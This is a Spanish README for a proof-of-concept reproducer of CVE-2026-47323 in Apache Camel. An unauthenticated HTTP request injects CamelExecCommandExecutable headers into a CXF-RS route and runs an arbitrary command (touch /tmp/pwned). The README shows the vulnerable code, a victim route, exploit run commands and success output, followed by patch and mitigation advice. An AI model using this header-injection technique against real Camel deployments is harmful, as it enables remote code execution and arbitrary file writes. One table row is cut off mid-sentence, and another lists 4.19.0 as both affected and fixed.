
Reproductor para CVE-2026-47323: Apache Camel CXF/Knative HeaderFilterStrategy carece de filtrado entrante, lo que permite la inyección de cabeceras de control de Camel (RCE mediante camel-exec) a través de los endpoints CXF-RS/CXF-SOAP/Knative (corregido en 4.14.6/4.18.2/4.19.0)
Este proyecto demuestra una inyección de cabeceras de mensaje en las estrategias de filtrado de cabeceras HTTP de CXF y Knative de Apache Camel, registrada como CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) y KnativeHttpHeaderFilterStrategy (camel-knative-http) solo filtran las cabeceras internas de Camel salientes (setOutFilterStartsWith), mientras que no configuran el filtrado entrante (setInFilterStartsWith). Como resultado, un atacante no autenticado puede inyectar cabeceras internas de Camel (p. ej. CamelExecCommandExecutable, CamelFileName) mediante peticiones HTTP a endpoints CXF-RS o CXF-SOAP. Cuando una ruta reenvía mensajes desde estos endpoints a componentes controlados por cabeceras, como camel-exec o camel-file, las cabeceras inyectadas sobrescriben los valores configurados, lo que permite la ejecución remota de código o la escritura arbitraria de archivos.
Este PoC utiliza la superficie CXF-RS (JAX-RS): un CamelExecCommandExecutable inyectado convierte un echo inofensivo en la ejecución arbitraria de comandos.
Aviso: https://camel.apache.org/security/CVE-2026-47323.html
Este reproductor fija camel en 4.18.1, la última versión afectada de la línea 4.18.x (la corrección llegó en 4.18.2). Mismo patrón que camel-undertow (CVE-2025-30177), el filtro de cabeceras entrantes más amplio (CVE-2025-27636, CVE-2025-29891) y las estrategias no HTTP (CVE-2026-40453).
// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)
// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
|| entry.getValue().isEmpty()) {
// dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
} else {
camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- injected header lands here
}
}
La corrección (4.14.6 / 4.18.2 / 4.19.0) añade setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) a estas estrategias, de modo que las cabeceras entrantes Camel* / camel* se descartan.
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
.to("exec:echo?args=hello") // the author's fixed, harmless command
.setBody(constant("ok\n"));
Un endpoint JAX-RS (GET /service/api/ping) cuyas peticiones se entregan a un comando de shell fijo. El productor camel-exec da preferencia a una cabecera entrante CamelExecCommandExecutable sobre el echo configurado.
Todo se ejecuta en una única aplicación autocontenida: el endpoint CXF-RS, el sumidero camel-exec y el controlador del atacante.
CVE-2026-47323/
├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── ApiResource.java # JAX-RS contract: GET /api/ping
│ ├── VictimRoute.java # cxfrs consumer -> exec:echo
│ └── ExploitController.java # attacker: GET /ping with injected CamelExec* headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned # created by the injected command
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
marker before: false
=== 1) Legitimate request (no injected headers) ===
response: ok
marker created: false
=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
response: ok
marker created: true
>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true
Cualquier ruta que reenvíe mensajes desde un endpoint CXF-RS, CXF-SOAP o Knative-HTTP a un productor controlado por cabeceras. Además de CamelExecCommandExecutable (RCE vía camel-exec), CamelFileName permite la escritura arbitraria de archivos mediante camel-file, y otras cabeceras de control Camel* pueden dirigir a otros productores.
Actualice a 4.14.6 / 4.18.2 / 4.19.0. Las estrategias afectadas pasan a configurar setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH), descartando las cabeceras entrantes Camel*.
Hasta que se realice la actualización, elimine las cabeceras de control de Camel de los mensajes entrantes antes de cualquier productor downstream (.removeHeaders("Camel*") y .removeHeaders("camel*") al inicio de la ruta) y exija autenticación en el endpoint CXF / Knative.
Este reproductor se proporciona exclusivamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| CWE | CWE-20: Validación incorrecta de la entrada |
| Impacto | Inyectar cabeceras de control de Camel mediante una petición HTTP → sobrescribir un productor downstream controlado por cabeceras → RCE (camel-exec) o escritura arbitraria de archivos (camel-file) |
| Precondiciones | Un endpoint CXF-RS / CXF-SOAP / Knative que reenvíe a un productor controlado por cabeceras; sin autenticación cuando el endpoint está |
| Versiones afectadas | Desde 3.18.0 hasta antes de 4.14.6, desde 4.15.0 hasta antes de 4.18.2, 4.19.0 (corregido en 4.19.0) |
| Versiones corregidas | 4.14.6, 4.18.2, 4.19.0 |
| Crédito | Quac Tran |